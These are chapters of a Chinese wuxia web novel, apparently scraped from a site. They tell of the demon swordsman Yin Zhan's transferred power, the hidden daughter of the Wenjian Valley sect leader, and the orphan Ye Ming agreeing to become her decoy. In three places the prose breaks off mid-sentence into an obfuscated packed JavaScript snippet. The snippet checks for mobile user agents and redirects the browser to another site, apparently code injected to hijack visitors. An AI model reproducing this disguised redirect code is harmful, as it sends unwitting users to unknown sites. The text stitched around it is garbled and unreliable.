叶暝向玉床走近,见那躺着的女孩不过五六岁的模样,一张小脸玉雪可爱,睡颜平和安详,唇角微微上扬,仿佛正沉溺在一场美梦中。而女孩的额间,一道形状奇异的红色印记,分外夺人眼目。 蓝令容走到床边,伸出手轻轻抚摸着女孩的脸颊,冷肃的面容上竟带着难得一见的慈爱温柔,她道:“这就是我的女儿,今年已有七岁了。” “七岁?可看起来完全不像……”叶暝有些难以置信,她这一年来经常是吃了上顿没下顿,长期的营养不良令她的身量比同龄孩子瘦小许多,可眼前的女孩明明与她同岁,竟比她还要更加矮小。 蓝令容道:“我出身南疆螣月族,自幼修习了不少秘法蛊术。从我的女儿出生以来,我便用秘术令她沉眠于此,养在这昆仑寒玉之上,也正因如此,她生长的速度会比同龄的孩子更为缓慢。” 叶暝不解:“为何要将妹妹藏在此处?” 蓝令容并未直接回答,而是反问道:“你可曾听说过恶剑魔殷崭?” 叶暝闻言,心头一震。她自然是听说过的,她的父亲叶执曾参与当年的崭绝山围剿,爹娘也曾将恶剑魔的往事当作睡前故事说与她听。 “原来……原来是这样。” 叶暝阖起眼,回想起了她昔日最爱听、也早就烂熟于心的恶剑魔殷崭的故事。 4. 问剑问心4 七年前,崭绝山下。 “誓杀殷崭,除魔卫道!” “誓杀殷崭,除魔卫道!” 誓声震天,与山风一同呼号,绘有各宗门徽记的旗帜猎猎飞扬。武林正道各大门派齐聚于此,剑指那栖身于崭绝山顶的武林第一祸害——“恶剑魔”殷崭。 殷崭其人,残暴不仁,为祸众生。他所修炼的是一门阴邪至极的功法,此功法以人心作引,无数无辜之人被殷崭和他的爪牙肆意屠戮,剜去心脏。江湖上掀起了一场由殷崭创造出的腥风血雨,引得人人自危,惶惶不可终日。就连提到殷崭这个名字,都会令大人胆寒、小儿止啼。 为除此魔头,江湖第一宗门问剑谷宗主慕容连衡向各派广发召集令,亲率众人齐聚崭绝山下,共图剿灭殷崭大计。 此时此刻,叶执手握自己的佩剑沉舟,抬头眺望向崭绝山顶,难掩忧心。 慕容连衡看在眼里,叶执从来都是运筹帷幄,鲜少见他流露如此神情,直言问道:“阿执,你在想什么?” 叶执略有迟疑,斟酌着道:“大哥,我一时也说不上来,只感觉越靠近这崭绝山,心中就会愈发不安。我总感觉这一路走来太顺利了……殷崭绝不会呆在山上束手就擒,我担心他使的是一计请君入瓮。” 蓝令容站在慕容连衡身旁,她同样听到叶执所言,冷哼一声:“就算真的如你所说,那又如何?你且回头看看。” 叶执依言回头,目光所及之处,跟随在他们身后整装待命的各派众人皆是战意高昂、群情激愤,都抱有不除殷崭绝不罢休的决心。 他们在殷崭的阴翳之下笼罩得太久,都迫不及待想要求得解脱。 蓝令容道:“各派人马已行进至此,这是我们这么多年来最接近殷崭的一次,箭在弦上不得不发,这一战我们无论如何都不能退。若是不战而怯,到时正道士气大挫,还会更加助长殷崭那厮的嚣张气焰!” 叶执微微张口,还想再说些什么,可他明白,众人断不会为了他的这点疑虑就停下进攻崭绝山的脚步,便决定不再多言,只道:“大嫂说的是,是我思虑不周了。” 慕容连衡转而对蓝令容道:“令容,要不然你先在山下稍待,等我们扫清了崭绝山上的恶剑魔手下余孽,你再迟一步上山,我实在是担心你……” 蓝令容已有三个多月的身孕,此番随他们一路奔波已是劳累,若还要随他们一同攻上崭绝山,还不知会遇到怎样的险情,慕容连衡绝不愿蓝令容出半点差池。 “只是怀孕,又不是残废了,我能打能跑,为何不去?”蓝令容一口回绝,“夫君,当初殷崭屠戮了我部族中多少族人,你不是不知,如今报仇的机会就在眼前,我绝无可能在此时后退。” 慕容连衡看着蓝令容那不容置喙的决绝神情,无奈叹息。蓝令容从来都是说一不二,不达目的誓不罢休,他知道在此事上没有转圜的余地,只能勉强应下。 “好吧……令容,待会上山后需得千万小心,一定跟紧我。” 各派共同商定好计策后,由慕容连衡率领众人攻打上山。沿途清理了不少殷崭手下余孽,皆不足为虑,没有想象中的艰难险阻,一行人竟然颇为顺利地攻上了崭绝山。 越接近山顶,叶执心中不安感更甚,出言提醒道:“大哥,此番上山实在太过轻易,恐怕有诈。” 慕容连衡和殷崭乃是多年的宿敌,对殷崭其人十分了解,亦察觉不对,点头认同道:“若是殷崭有心阻挡,我们怕是三天三夜也攻不上山,今日这样顺利,倒像是他有意放我们上来。” 领头的慕容连衡和叶执心生疑窦,可他们身后众人并不明白其中蹊跷。眼瞧着上山分外顺利,势如破竹,正是士气高昂之时,都呼喊着要一鼓作气攻上位于崭绝山顶的殷崭老巢,直取殷崭首级。 就在此时,天象骤变,原本日头高照的晴空迅速聚集起层层黑云,如墨海倾翻,雷光于积云间时隐时现,声声沉闷雷鸣接踵而至。 队伍中有人嘀咕道:“这什么鬼天气,好端端的怎么突然阴沉了?” 一位宗门弟子高举着手指向天空:“你们快看,这乌云好像都在往山顶聚集呢!” “轰——!” 一道刺目的天雷乍然将云层击穿撕裂,裹挟着毁天灭地之势,直直劈向崭绝山顶。霎时间,山石崩裂,天地失色,众人见到这异象,纷纷惊惧骇然,驻足不前。 慕容连衡看得分明,仍旧沉着冷静,问道:“阿执,你看清楚了吗?” 叶执惊疑不定,下意识紧了紧手中的沉舟剑:“看到了,那道雷……正好劈在了山顶,那里是殷崭的居所。” 蓝令容道:“殷崭究竟躲在山顶上做了什么?!” 慕容连衡道:“事已至此,先上山顶一观。” 待那诡异的黑云散去,雷声逐渐平息,众人勉强定下心神,继续向山顶进发。此后竟一路无阻,直抵崭绝山顶的殷崭居所。 众人来到山顶,却见到了令人毛骨悚然的一幕。 山顶居所内并未见殷崭的踪影,院中空地上突兀留下一个以鲜血绘就的诡谲阵法,上头布满意义不明的扭曲符文,透着森森邪气。 而在阵法外围,整整齐齐摆放着九九八十一颗人心,鲜血淋漓,触目惊心,飘散出令人作呕的腥味与热气。 “天哪,这到底是……” 这一幕带来的感官冲击力极重,有人脸色煞白冷汗涔涔,更有那胆小的早已忍不住俯身呕吐起来,口中不断咒骂着殷崭丧尽天良、泯灭人性。 叶执还能维持镇定自若,他忍着反胃感仔细观察着这山顶上每一个细节,目光所及之处,阵法之上,横陈着一具尸体。 那尸体焦黑如碳,早已无法分辨出原本的样貌,而在焦尸手边,那把令人闻之色变的崭绝剑正孤零零地躺在地上,剑身黯淡无光,随着主人的消逝而失去了它往日的锐芒。 人人都知,殷崭一向剑不离身,人在剑在,而地上的崭绝剑使得这具焦尸的身份昭然若揭——正是恶剑魔殷崭本尊。 蓝令容不敢置信地惊呼道:“这难道是……殷崭?!” 人群议论纷纷:“那是崭绝剑!那这尸首十有八九就是殷崭了,除了他,还有谁能拿着那把剑?” 有人向慕容连衡问道:“慕容宗主,您对殷崭的了解最深,可能辨认得出那焦尸的身份?” 慕容连衡颔首:“我来看看。” 慕容连衡走到焦尸近前,蹲下身仔细翻看起来。那焦尸面貌已毁,唯有肩头处能依稀辨认出一道陈旧剑伤。 这道剑伤,是慕容连衡多年前和殷崭交手时亲手留下的,他最熟悉不过。 焦尸的身份已经板上钉钉,慕容连衡起身,面向众人宣布:“这的确是殷崭的尸身。” 众人闻言,对于殷崭这过于离奇的收场,先是愕然,旋即大喜过望。 “莫非是老天开眼,让这无恶不作的大魔头遭了天谴,被一道雷给劈死了……?” “真是天道轮回,报应不爽啊!” “恭喜慕容宗主!”一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蓝令容闻言望去,这才注意到阵法中央有一个不起眼的东西在隐约闪光。她离阵法最近,下意识朝那处走了过去,想要看清楚那究竟是个什么东西。 就在蓝令容接近阵法中央之时,藏匿于人群中的普通弟子一跃而上,站在了阵法边缘空缺的那处,振臂高呼道:“主上,让我最后助您完成大计!” 说着,他从袖中掏出了早已准备好的小刀,干脆利落地刺入了自己的脖颈。 “不好……大嫂小心!” 叶执瞬间意识到这弟子的可怕意图,当机立断将手中的沉舟剑飞掷而出,企图阻拦他的动作。可仍旧迟了一步,那弟子的鲜血如涌泉般喷薄而出,洒落在阵法上,补全了缺少的那一处。 直到他因失血过多倒落在地,他的脸上始终都挂着狂热而诡异的笑容。 这一切发生的实在是太快,众人根本来不及反应,慕容连衡声嘶力竭地呼喊道:“令容,快离开!” 慕容连衡飞身向蓝令容所在的方向疾步奔去,想要将她拉出阵法的范围,可阵法在补全的一刻瞬间启动,形成了一个坚不可破的结界,猛然将他推拒在外。 蓝令容自然也明白这意味着什么,运起轻功以最快的速度向阵法外奔逃,可结界已然形成,将她彻底困锁在了阵法内。蓝令容只感到一股混沌邪恶之气顷刻间流经她的四肢百骸、五脏六腑,如同置身九幽地狱,魂魄被生生抽离撕碎,心神剧荡、难以喘息。 仅仅一瞬,蓝令容便神志溃散,重重昏倒在地。 5. 问剑问心5 崭绝山边不远处的驻扎营地内,慕容连衡抱着不省人事的蓝令容,心急如焚,步履匆乱地赶回营帐。 叶执紧随其后:“大哥,我这就去找大夫来。” “令容是被殷崭的阵法所伤,寻常的大夫只怕不行。”慕容连衡将蓝令容小心放在榻上,眉头深锁,“此地偏僻,要上哪去寻一个医术高明的大夫……” 叶执忽然想起些什么,提议道:“大哥,我倒有一人选。北阙宗萧琮宗主的夫人温显意师从药王,医术十分了得,此次围剿她也跟随北阙宗的弟子前来,现下应该在随行医师的队伍中,请她或许可以。” 慕容连衡关心则乱,竟没想到这点,他一拍脑门,恍然道:“对……你说的对,我这就去请!” 叶执赶忙拉住慕容连衡:“大哥,你现在还是守在大嫂身边更为稳妥,还是我去吧。” 慕容连衡微微一愣,知道自己乱了方寸,无奈应允道:“阿执,那就拜托你了。” 叶执前脚刚离开营帐,一个矮小的身影从营帐门口探出头来,唤道:“师父。” 慕容连衡转头看去,见来人是自己的亲传弟子江尧,紧绷的神情略微缓和,温声道:“阿尧,是你啊……你怎么过来了?” 江尧年仅七岁,可天资聪颖,行事妥帖,慕容连衡一眼便从今年新入门的弟子中选中了他。这次崭绝山围剿,慕容连衡让江尧跟在随行队伍之中,权当见见世面,经些风浪。 江尧刚拜入慕容连衡门下不久,对自己的这位宗主师父还有些怯生生的,他捏紧了手里的信,禀报道:“师父,方才外头有人用飞镖传了封信,正好被我撞见了。” “什么信?让我看看。” 江尧将一封信和一枚飞镖递给了慕容连衡,慕容连衡瞧那信上被飞镖钉出个窟窿,拿起飞镖比对,形状吻合,证实江尧所言非虚。 慕容连衡将信纸展开,却见这信中内容竟然是用一片片从书册中裁剪下的小字拼贴而成。那些字贴得歪歪扭扭,甚至有不少错字,语句也不甚通顺,几乎让慕容连衡以为是某人的恶作剧。 可慕容连衡定睛细读,立刻发现了不对劲。 这信虽有些前言不搭后语,慕容连衡仍流畅理解了信中的内容:“殷崭自知大限将至,启动离魂渡生阵,将他的内力修为储存在一位宿主体内,他的元神则夺舍转生,等时机合适,他就会从宿主身上取回内力,从而再世为人,不死不灭。” 这封信件,竟写明了崭绝山顶阵法的作用。 信中的内容实在是过于骇人听闻,慕容连衡心神震荡,恍惚间险些站立不稳,他不可置信地喃喃道:“这怎么可能呢……” 江尧仰着头,不明所以:“师父,您怎么了?” 慕容连衡勉力克制,他半蹲下身平视着江尧,问道:“阿尧,你可有看清这送信之人的模样?” 江尧摇了摇头:“那人穿着黑衣,又遮着脸,一下就闪走了,我没看清他的样子。” 慕容连衡又问:“还有其他人知道或者看过这封信吗?” 江尧蓦然瞪大了眼,赶忙否认:“师父,绝对没有!我怕是不好的东西,一捡到就马上拿来给师父看了,我自己也没看过的!” 慕容连衡见他诚惶诚恐,强扯出一个安抚的笑,摸了摸江尧的头:“阿尧,你做得很好。有关这封信的事,一定不要告诉给任何人,切记。” 江尧被慕容连衡一夸,面颊飞红,觉得自己被师父委以重任,允诺道:“师父,我知道了,我绝对不会说出去的。” 慕容连衡望着江尧离去的背影,思绪纷乱。究竟是谁会在这时送给他一封这样的信?写这信的人,不但知晓殷崭阵法的作用,还知道蓝令容被阵法所伤之事,极有可能就潜藏在这次围剿的队伍中。 此人……究竟是敌是友? 不多时,叶执快去快回,将温显意带到了。温显意提着药箱快步进屋,额前发丝因为快马疾奔有些凌乱,她无暇顾及,对慕容连衡匆匆一礼,直言道:“慕容宗主,详细情况叶大侠在路上都已同我讲明,事不宜迟,快带我去见夫人吧。” 慕容连衡:“好,温大夫请随我来。” 慕容连衡带着温显意进入帐中诊治,叶执不便跟着,索性坐在营帐外等候,他从怀中掏出一个小木块和一柄刻刀,潜心雕刻起来。 那木块上刻着的图样依稀能看出是两只鸟类生物,只可惜雕工实在有些不敢恭维,倒似一对山鸡。不过叶执本人对此十分满意,刻着刻着,面上不自觉带了笑意,完全沉浸在自己的艺术创作里。 营帐内,温显意替蓝令容把了脉,神情逐渐变得复杂难言。 慕容连衡看在眼里,心中一沉,强自镇定道:“温大夫,尽管直言。” 温显意收回了诊脉的手,转头看向慕容连衡:“我听闻宗主夫人是在崭绝山上中了阵法后便昏迷不醒,慕容宗主可知道那阵法是作何用的?” “大抵已经知道了。”慕容连衡救妻心切,不欲隐瞒温显意这位大夫,将那密信中记载的阵法作用详尽告知了她。 温显意听罢,长叹道:“生老病死乃是天道,世间竟有此能逆天而行的邪术,必然要付出极其惨重的代价。” 慕容连衡道:“根据信中所写,殷崭应当是用阵法达到夺舍转生的目的,并且把他的内力寄存在了令容的身体之中。” 温显意闻言,却微微蹙起了眉,略显犹疑:“可是……这与我方才诊脉所得并不一致。” 慕容连衡讶然:“温大夫此言何意?” 温显意:“我的确能感受到属于殷崭的内力正在夫人的经脉之中流动,而且都正在往一处汇聚,却并不是夫人的气海丹田……而是夫人的子宫。” 慕容连衡顿时如置冰窟,彻骨的寒意瞬间蔓延上他的脊背,他错愕道:“你是说……殷崭的内力,正在向令容腹中的胎儿汇集?” 温显意道:“正是。依慕容宗主所言,那阵法的作用是给殷崭的内力寻找一个合适的宿主。阵法作用在夫人身上后,它发现了一个比夫人本人更为适合的宿主,更年轻、也更有生命力……那便是夫人体内尚未出世的胎儿。” 慕容连衡道:“令容和我们的孩子会如何?” “慕容宗主,我打个比方吧。”温显意指了指桌上那杯早已变凉的茶水,“就好比桌上这杯茶,殷崭的内力如同这杯中的茶水,而宿主的身躯就是这盛着茶水的杯盏,要想茶水不会洒漏出去,就要让这杯盏足够稳当、坚固。” 温显意顿了顿,接着道:“孩子非但不会有事,恰恰相反,这个孩子会格外的健康顽强,因为殷崭要确保他的内力能够完好无损地储存着,等到他有朝一日来取回自己的内力。夫人她也不会有事,她是受阵法冲击暂时昏了过去,待我替她施针之后便可无虞。” 慕容连衡阖起眼,沉吟半晌,才艰难开口:“……如果孩子没能顺利降生,那孩子体内的殷崭内力会怎么样?” 温显意道:“我不能妄下断言,只能说,最好的结果便是一尸两命,殷崭的内力也随之消散。当然,对于慕容宗主来说,这就是最坏的结果。” 殷崭早就算准了一切,他的内力一定要存放在一个不会被轻易除掉的人身上,甚至慕容连衡还要保护他的妻子和孩子,也就等同于帮殷崭保护他的内力。 此时,蓝令容恰好醒转,意识模糊间听到慕容连衡问出这一句,误以为他想要舍弃孩子来摧毁殷崭的内力,她颤抖着伸出手,死死攥着慕容连衡的衣袖,几乎是咬牙切齿地道:“慕容连衡,必须保住我的孩子,否则……我绝不原谅你!” “令容!”慕容连衡见蓝令容醒了,赶忙上前查看她的状况,蓝令容一把拂开慕容连衡,不去看他,转而对温显意道:“温大夫,请帮我保这孩子周全。” “这并不难,我可以做到。”温显意道,她面露悲悯之色,话锋陡然一转,“可是……夫人,这孩子带着恶剑魔的内力来到世上,注定会遭到数不尽的劫数,或许会过得很艰难……哪怕是这样,夫人也还是想让这孩子来到世上吗?” 蓝令容道:“当然……!那是殷崭的错,不是孩子的错,我的孩子不该被剥夺来到这世上的权利。我一定会尽我所能,不惜一切手段来保护我的孩子,让我的孩子平安长大。” 温显意听罢这一番话,垂眸望向蓝令容,眼中纠结复杂,良久无言。 慕容连衡的手掩在袖中,先是紧紧攥起,又渐渐地释然松开,他做出了最后的决定,道:“温大夫,就按令容说的,请帮我们保下这个孩子吧。” 温显意:“……好,那便依宗主和夫人所言,我会为二位达成心愿。” 随后,温显意为蓝令容施针治疗,慕容连衡走出帐外,见叶执正坐在不远处专心致志地刻着块木头,便凑过去瞧了一眼:“这两只是什么鸡?刻的还挺像那么回事。” 叶执闻言,手上动作一顿,讪讪将那块木头收了回去:“大哥,这其实是一对比翼鸟。” “呃……”慕容连衡一哽,面露尴尬,赶紧找补道,“是我眼拙了,刚刚隔得远了没看清。你刻这个,是准备送给弟妹的?” “是啊,云韫的生辰就快到了,想着亲手做个礼物给她。”提及妻子,叶执面上浮现一抹和煦笑意,旋即又正色道,“大嫂如何了,温大夫她怎么说?” 慕容连衡将温显意方才所言如实告诉给了叶执,叶执叹道:“殷崭真是阴魂不散,他算准了一切,就是要让大哥你陷入这种两难的境地,好歹毒的心思。” 慕容连衡道:“对了,若我没记错,弟妹应该准备临盆了吧?” 叶执道:“是啊,大夫说也就下个月的事了,所以等这边的事情了结,我得马上赶回家守着云韫。” “好啊,真好……”慕容连衡万般感慨,“等令容也生了之后,两个孩子还能做个伴。到时呢,如果是一个男孩一个女孩,就订个娃娃亲,如果都是女孩或者都是男孩,就义结金兰,以后一起闯荡江湖。” 叶执哈哈一笑:“一言为定,这样真是再好不过了。” 只可惜世事无常,终难遂人愿。 似乎有一双无形的手在事件背后操纵着盘上棋局,也不知是从何处起的头,殷崭在崭绝山顶布下阵法之事不胫而走,传得沸沸扬扬,并且真假参半,演变成了一个让慕容连衡始料未及的情形—— “殷崭大限将至,为了报复自己的宿敌慕容连衡,临死前在崭绝山顶布下阵法,将自己的毕生的内力凭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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最年幼的江尧还没学会掩藏自己的情绪,失声惊呼道:“……怎么会这样?!” 慕容连衡明白,这也是殷崭的手笔。崭绝印一出,他的孩子被刻下了独属于他殷崭的烙印,彻底坐实了那个杀了他的孩子就能夺得殷崭内力的传言。 殷崭不仅要借阵法转生,更要让慕容连衡的孩子成为众矢之的,陷入永无止息的杀机之中,令她一生不得顺遂安宁,这是对慕容连衡最行之有效的报复。 慕容连衡头一遭体会到如此深刻的无力感,毁不去,逃不脱,放不下。 他抱着襁褓步入屋内,缓步走到床榻边,低头凝望着襁褓中的女婴,她正静静酣睡,全然不知自己将要面对怎样的腥风血雨。慕容连衡伸出手,指尖轻轻抚过女儿的脸颊,传来稚嫩温软的触感,令他五味杂陈,喜忧参半。 他纵横江湖多年,从不惧死,在攻上崭绝山前便已做好了同殷崭玉石俱焚的准备。可他的孩子是无辜的,她本该拥有平安喜乐的一生。 “……夫君,我都看到了。” 一声轻唤将沉浸在悲恸中的慕容连衡拉扯出来,他抬眼望去,卧榻上的蓝令容刚经历生产,面容因为生产消耗过甚透着苍白,发丝被汗水黏在额前鬓角,可她那双眼却格外清明,不悲不怒,只有决定面对一切的坦然。 慕容连衡看到她的眼神,更是愧疚难当,艰涩开口:“令容,是我连累了你们母女。” “一家人,别说什么连不连累的。”蓝令容摇了摇头,语气坚定,“当时是我坚持要跟着上崭绝山,如今事情已经发生,无法回转,我们能做的便是尽力保护我们的女儿,不让殷崭那个挨千刀的得逞。” 二人四目相对,无需多言,都从彼此眼中看到了同样的决心。 翌日,问剑谷昭告武林,宗主慕容连衡喜得爱女。然而,慕容连衡紧接着便称女儿先天体弱,需居于问剑谷内静养,自那女婴出生以来,竟无一人得见其真面目。 “……光阴如梭,一晃经年,那女婴好似真的人间蒸发了一般,久而久之,也就成了武林中的一大秘闻。” 茶馆内,说书先生将手中惊堂木重重一拍,讲的又是那出人尽皆知却又百听不厌的,问剑谷与殷崭之间那剪不断理还乱的仇怨。 台下,一个听书人将口中瓜子皮一吐,嚷嚷道:“真有这么夸张?一个实实在在的大活人,怎么可能一直躲着藏着不见人!” 说书先生笑问:“这位客官,你可曾见过那个额间有崭绝印的孩子啊?” 听书人觉得这个问题有些白痴,翻了个白眼:“你问我我问谁啊,我又没去过问剑谷!” 说书先生又问:“那在座的各位,可有一人见过啊?” 台下众人左顾右盼,纷纷摇头。 “那就是了,那孩子天生带有崭绝印一事早已传遍天下,所有人都心知肚明,慕容连衡夫妇是为了保护自己的女儿,将她藏匿了起来……” 即便如此,仍不断有心怀叵测之徒暗中窥探,试图寻得慕容连衡之女的蛛丝马迹,却都无功而返。问剑谷宗主之女,似乎仅仅活在旁人的话里,一时成谜。 6. 问剑问心6 “原来……原来是这样。”叶暝回忆完爹娘曾讲给她的故事,缓缓睁眼,得出一个惊人却又无比笃定的答案,“因为妹妹她身怀恶剑魔殷崭的内力,所以才要将她藏在这密室之中?” “是,我的女儿……她本该拥有一个灿烂的人生,却都被殷崭那个魔头给毁了!”蓝令容面目阴戾,语气带着难以抑制的彻骨恨意,恨不能将殷崭抽筋扒皮,“就因那杀了我女儿便可夺得殷崭内力的狗屁谣言,她从出生后就不断遭人暗害,为了保全她,这些年来我们只能将她藏在这里,永不得见天日!” 叶暝听着蓝令容这一番控诉,心中逐渐明了。蓝令容绝不会仅仅是带她来探望自己的女儿,一定是有什么非她叶暝不可的事,让蓝令容甘愿冒着泄露机密的风险,也要带她来到这里。 叶暝深吸一口气,又徐徐吐出,这才问道:“……蓝伯母,您需要我做什么呢?” 蓝令容闻言,一改先前的悲愤,蓦然轻笑起来:“呵呵……我果然没有看错人,你真的很聪明。” 蓝令容生得极美,笑起来更是明艳动人,叶暝却无端觉得那笑容有些悚然,仿佛有一只无形且冰冷的手悄然揪起了叶暝的后脖颈,寒意沿着脊背攀升蔓延。 蓝令容道:“你听好了,我要你成为我女儿的替身,为她挡下殷崭带给她的一切灾厄,让她能作为一个普通的孩子,去到外头正常生活。” 叶暝:“……?!” 蓝令容的话如同惊雷贯体,在叶暝脑海中骤然炸响,震得她心神俱颤,一时间竟说不出半个字来。 蓝令容见叶暝怔忪无言,以为她还没能理解,接着道:“我已经寻到方法,能够封住她体内的殷崭内力,让她额间的崭绝印消失。只不过当年之事传得实在太快,人人皆知我们的女儿额间有一道崭绝印。所以,必须得有一个带着崭绝印的女孩以问剑谷宗主之女的身份现身于众人面前,才能彻底打消旁人的疑心。” 叶暝总算找回了说话的能力,艰涩道:“……伯母的意思,是想让我带着崭绝印,成为您和慕容伯伯明面上的女儿,转移所有人的注意力?” 蓝令容道:“正是。我会用秘术隐去我女儿的崭绝印,再纹一个一模一样的在你额间,对外宣称你才是我们夫妇的女儿。而我真正的女儿……” 言及此处,蓝令容垂眸望向玉床上的女孩,目光温煦慈蔼,“我会替她安排一个新身份,让她去到外面,无忧无虑地生活。” 好一招祸水东引! 叶暝心中骇然,却也忍不住赞叹这个计策着实精妙。虽是剑走偏锋、兵行险招,但若能成功,这个女孩就能彻底摆脱殷崭带给她的阴霾,免受那永无止息的杀劫。 叶暝道:“那慕容伯伯呢?以慕容伯伯的性子,他不会同意这么做的。” 蓝令容闻言,意味深长地笑了笑:“若是我同他提起此事,他确实不可能同意。但若是你亲自去提……我想你应该知道要怎么做吧。” 叶暝无奈苦笑,心中感慨,她的这位蓝伯母当真是心思缜密,滴水不漏。 蓝令容铁了心要促成此事,早就将所有环节都算准并安排好了,一切只为了让她的女儿能摆脱这暗无天日的禁地,重获自由。 蓝令容道:“你慕容伯伯要当光风霁月的正道栋梁,我管不着。但我从来都是个自私自利的人,只要我的女儿能过得好,必要时我会利用任何人、任何事。” 不知为何,叶暝明知蓝令容是在利用她,将她当做自己亲生女儿的挡箭牌,置她的生死于不顾,可叶暝却生不出半分愤懑或是怨怼,甚至还有些同情。 叶暝只看到了一个为自己的女儿殚精竭虑、无所不用其极的母亲。 叶暝道:“蓝伯母,我还想问一个问题。” “你说。” “伯母只是需要一个替身,换作任何一个年龄相近的女孩都能做到,为何还要让妹妹在禁地里待上这么多年,等到今日,等到我?” 蓝令容坦言道:“其他人,我信不过。这里的事如果被泄露出去,我的女儿,甚至整个问剑谷,都将会遭逢大难。没有十足的把握能够成事,我也不会贸然带你来到这里。” “那伯母为何信得过我,信我一定会配合您完成这件事?”叶暝抬眼看向蓝令容,心中不解,蓝令容如此谨慎多疑,又为什么会轻易相信在此之前素未谋面的她? 蓝令容微微一笑:“因为除了问剑谷,你在这世间已经再无依靠。” 叶暝默然不语。 蓝令容说得没错,如今的她确实已无处可去,唯有问剑谷能给她一个栖身之所,让她不必再受颠沛流离之苦。 她不想再回到从前那种卑贱如泥、人人可欺的日子。 蓝令容道:“还有一点……我认识你的父亲,他最是重诺守信,有恩必报。他的孩子,自然也不会让我失望,对吧?” ====================== “绝对不行!” 慕容连衡显然是被叶暝方才那番惊世骇俗的提议吓得不轻,他沉声怒喝,拍案而起,惊得桌上烛火也抖了三抖,明灭扑朔。 叶暝垂头不语,以沉默来表明自己的决心。 慕容连衡见状,以为是自己太过失态吓到了她,便稍稍缓和了语气,尽量平静地问道:“暝儿,是不是你蓝伯母和你说了些什么?” 叶暝摇头否认:“伯母只是带我去看望了妹妹,我刚刚说的那些,都是我自己所想所愿。” 慕容连衡只当叶暝年纪尚小心思单纯,不懂得其中的万分凶险,语重心长道:“暝儿,你可能还不明白这样做将会面临什么……你知道么,在我女儿出生当夜,就有歹人伪装成问剑谷弟子潜入,想要暗害于她。要不是我们早有防备,那歹人或许就已经得手了。” 叶暝:“……” 慕容连衡接着道:“在此之后的几个月里,各种刺杀就是家常便饭,三天两头就会来一遭,虽然都没能得逞,可万一哪天来的敌人很强、强到无人能抵挡呢?这世上没有牢不可破的保护,我也不能将我的女儿永远寸步不离地护在身边,她总要长大,总有离开我的一天。我不敢拿我女儿的性命去赌,这也是我和令容一直将她藏在禁地的原因,我……我没有十足的把握能护她无恙。” 叶暝道:“慕容伯伯,我明白的……爹和我说过,再厉害的大侠也有无能为力的事。” 哪怕是慕容连衡这样独步武林的绝顶高手,亦不能免俗。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051821|194806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是啊……说的没错。”慕容连衡垂下眼睑,黯然神伤,“暝儿,殷崭的内力对于任何一个习武之人来说都是天大的诱惑,一但你带着崭绝印出现在世人面前,就会招来旁人的觊觎,人人得而诛之!” 言及此处,慕容连衡一时情绪不稳,这位纵横武林的问剑谷宗主竟也红了眼眶,声音微微发颤:“我连自己的亲生女儿尚且都护不住,又怎能将挚友的孩子亲手送入火坑,岂非辜负了你爹娘临终托孤的信任?!” 叶暝听慕容连衡提到爹娘,鼻尖有些泛酸,她直视着慕容连衡,声音隐隐带了哭腔,却是前所未有的坚定:“爹爹和娘亲曾经教我,滴水之恩当涌泉相报。慕容伯伯,您方才所说的那些我都清楚,我知道带着崭绝印意味着什么,但我并不害怕。” 慕容连衡一怔:“暝儿,你……” 叶暝道:“慕容伯伯,爹娘虽然将我托付给了您,可说到底,我与您并非血亲,您完全可以不管我这个累赘。如果不是您将我带回问剑谷,我或许已经死在哪个角落里了,您和问剑谷对我恩重如山,比起在您的庇护之下苟且偷生,我更想报答您的恩情……慕容伯伯,您就当我是为了能心安理得地留在问剑谷才这么做的。若是爹娘在天有灵,我不想让他们知道,我是一个不懂得感恩的人。” 慕容连衡看着眼前的叶暝,这个女孩也才七岁,和他的女儿一样年纪。她身形瘦弱,一双眼睛却清明坚定,有着完全不符合这个年纪的成熟心智,而这不知是受了多少苦难才被迫磨炼而成的。 慕容连衡心疼不已,半是欣慰半是怆然,不禁长叹一声,潸然泪下:“阿执,阿韫……你们教出了一个好女儿啊!” 慕容连衡忽而回想起当年和叶执那番半开玩笑半认真的话——两个孩子,如果是一个男孩一个女孩,就结个娃娃亲,如果都是男孩或者都是女孩,就义结金兰,一同闯荡江湖。 如果没有遭逢巨变,这两个女孩会无忧无虑地相伴着长大,策马同游,仗剑天涯,看尽世间无数大好风光。 可如今,一个在禁地中沉睡多年从不见天日,一个饱受磨难却还念着以命相报。 慕容连衡深吸一口气,目光重新落在叶暝身上,似乎下定了某种决心,他向叶暝最后确认道:“暝儿,你当真决定好了?” 叶暝道:“是,九死不悔。” “好!”慕容连衡将双手搭在了叶暝肩头,眼中仍有泪光,声音却铿锵有力,“暝儿,从今往后,你便是我慕容连衡的女儿,也是我们问剑谷唯一的少主!” 这一年,发生了一件轰动天下的大事。 问剑谷宗主慕容连衡那位身怀恶剑魔内力的女儿,在销声匿迹七年之后突然现身于人前。慕容连衡昭告武林,此女名叫慕容暝,立为问剑谷少主。 众人看得分明,那女孩额间赫然有一道赤红色的崭绝印,如假包换,正是当年传闻中的女婴。 消息一出,物议鼎沸,各方势力暗流汹涌,打起了各自的算盘。 